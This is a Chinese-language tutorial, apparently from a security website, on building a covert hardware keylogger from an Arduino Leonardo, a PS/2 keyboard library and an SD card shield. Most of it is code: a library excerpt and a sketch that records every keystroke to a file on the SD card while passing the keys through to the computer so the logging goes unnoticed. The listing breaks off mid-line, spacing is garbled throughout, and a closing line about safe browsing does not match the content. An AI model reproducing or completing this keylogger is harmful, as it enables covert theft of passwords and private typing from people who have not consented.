[摘要]0xC0; } } } if(!result) return -1; returnres...
0xC0; } } } if(!result) return -1; returnresult; } PS2Keyboard::PS2Keyboard(){ // nothing todohere, begin() does it all } void PS2Keyboard::begin(uint8_tdata_pin, uint8_tirq_pin, constPS2Keymap_t &map) { uint8_tirq_num=0; DataPin =data_pin; keymap =↦ #ifdef INPUT_PULLUP pinMode(irq_pin,INPUT_PULLUP); pinMode(data_pin,INPUT_PULLUP); #else pinMode(irq_pin,INPUT); digitalWrite(irq_pin,HIGH); pinMode(data_pin,INPUT); digitalWrite(data_pin,HIGH); #endif switch(irq_pin) { #ifdefCORE_INT0_PIN caseCORE_INT0_PIN: irq_num = 0; break; #endif #ifdefCORE_INT1_PIN caseCORE_INT1_PIN: irq_num = 1; break; #endif #ifdefCORE_INT2_PIN caseCORE_INT2_PIN: irq_num = 2; break; #endif #ifdefCORE_INT3_PIN caseCORE_INT3_PIN: irq_num = 3; break; #endif #ifdefCORE_INT4_PIN caseCORE_INT4_PIN: irq_num = 4; break; #endif #ifdefCORE_INT5_PIN caseCORE_INT5_PIN: irq_num = 5; break; #endif #ifdefCORE_INT6_PIN caseCORE_INT6_PIN: irq_num = 6; break; #endif #ifdefCORE_INT7_PIN caseCORE_INT7_PIN: irq_num = 7; break; #endif default: irq_num = 0; break; } head = 0; tail = 0; attachInterrupt(irq_num,ps2interrupt, FALLING);}
键 盘输入的库有了,接下来第二步是将上面所截获的数据存入存储器,arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,这样小的空间显然不 能满足我们的要求,但arduino本是就是为扩展各种功能而设计出来的,为此我们为它加入一块sd卡扩展板,将键盘数据存储在sd卡中,这里我选用 seeed studio的SD Shield(这种扩展板市面上有很多,只要是支持arduino的,买来都能用),扩展板的安装极为简单,只需按照针脚位置对接插入,如下图所示:

这些为arduino定制的扩展板都有很好的兼容性,所以只要插上,然后用现成的SD卡库开发一段存储程序即可。
接下来是如何将截获的键值发送到计算机的问题,这个问题自从arduino升级到leonardo,官方已经提供了完整的支持(这也是我们的设计基于leonardo的原因),这个新增的keyboard库可以用很简单的代码模拟键盘向计算机输入数据。
好,现在万事具备,只差一段最后的程序了:
1. 2. /* Name:arduinoPS2键盘记录器程序 3. * Author:b41k3r 4. * Update:2014-01-10 5. 6. * Version:0×06 7. */ 8. #include<PS2Keyboard.h> 9. #include<SD.h> //引用SD卡读写官方库 10. 11.const int DataPin = 5; 12.const intIRQpin= 3; //设置数据和时钟针脚 13.File RecordFile; //定义文件写入 14.StringrecordTemp="[Begin]";//监听的临时参数,每监听到一个键就加在此字符的后面,并设定每次监听的开头为[Begin] 15.PS2Keyboard kbd; //PS2Keyboard 类实例化 16.void setup() { 17. Keyboard.begin();//向计算机发送按键信号准备开始 18. kbd.begin(DataPin,IRQpin,PS2Keymap_US); //设置键盘为标准的美国101 19. Serial.begin(9600); 20. pinMode(10,OUTPUT); 21. if(!SD.begin(4)) { 22. Serial.println("Initialization failed!"); 23. } 24. RecordFile=SD.open("record.txt",FILE_WRITE); //在SD卡建立文件,准备写入 25.} 26. 27.void loop() { //开始循环监听 28.if (kbd.available()) { 29. char c=kbd.readIt(); //读取输入的键 30. intCombinationKey =kbd.getCombinationKey(); 31. if(c<0) 32. { //CombinationKey=2和1代表alt和ctrl两种组合键 33. if(CombinationKey==2) 34. { 35. Keyboard.press(KEY_LEFT_ALT); 36. Keyboard.press(abs(c)); 37. delay(100); 38. Keyboard.releaseAll(); 39. }else if (CombinationKey==1) 40. { 41. Serial.println(abs(c)); 42. Keyboard.press(KEY_LEFT_CTRL); 43. Keyboard.press(abs(c)); 44. delay(100); 45. Keyboard.releaseAll(); 46. }else if(CombinationKey>=233&&CombinationKey<=244) //代表F1-F12 47. { 48. Serial.println(CombinationKey); 49. switch (CombinationKey) { 50. case244: KeyPress(KEY_F1); break; 51. case243: KeyPress(KEY_F2); break; 52. case242: KeyPress(KEY_F3); break; 53. case241: KeyPress(KEY_F4); break; 54. case240: KeyPress(KEY_F5); break; 55. case239: KeyPress(KEY_F6); break; 56. case238: KeyPress(KEY_F7); break; 57. case237: KeyPress(KEY_F8); break; 58. case236: KeyPress(KEY_F9); break; 59. case235: KeyPress(KEY_F10); break; 60. case234: KeyPress(KEY_F11); break; 61. case233: KeyPress(KEY_F12); break; 62. default: break; 63. } 64. 65. } 66. } 67. else{ 68. switch (c) { //其余的功能键 69. casePS2_ENTER: KeyPress(KEY_RETURN); break; 70. casePS2_TAB: KeyPress(KEY_TAB); break; 71. casePS2_BACKSPACE:KeyPress(KEY_BACKSPACE);break; 72. casePS2_SHIFT: KeyPress(KEY_LEFT_SHIFT); break; 73. casePS2_ESC: KeyPress(KEY_ESC); break; 74. casePS2_PAGEDOWN: KeyPress(KEY_PAGE_DOWN); break; 75. &n
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。
关键词:间谍游戏:用Arduino制作硬件键盘记录器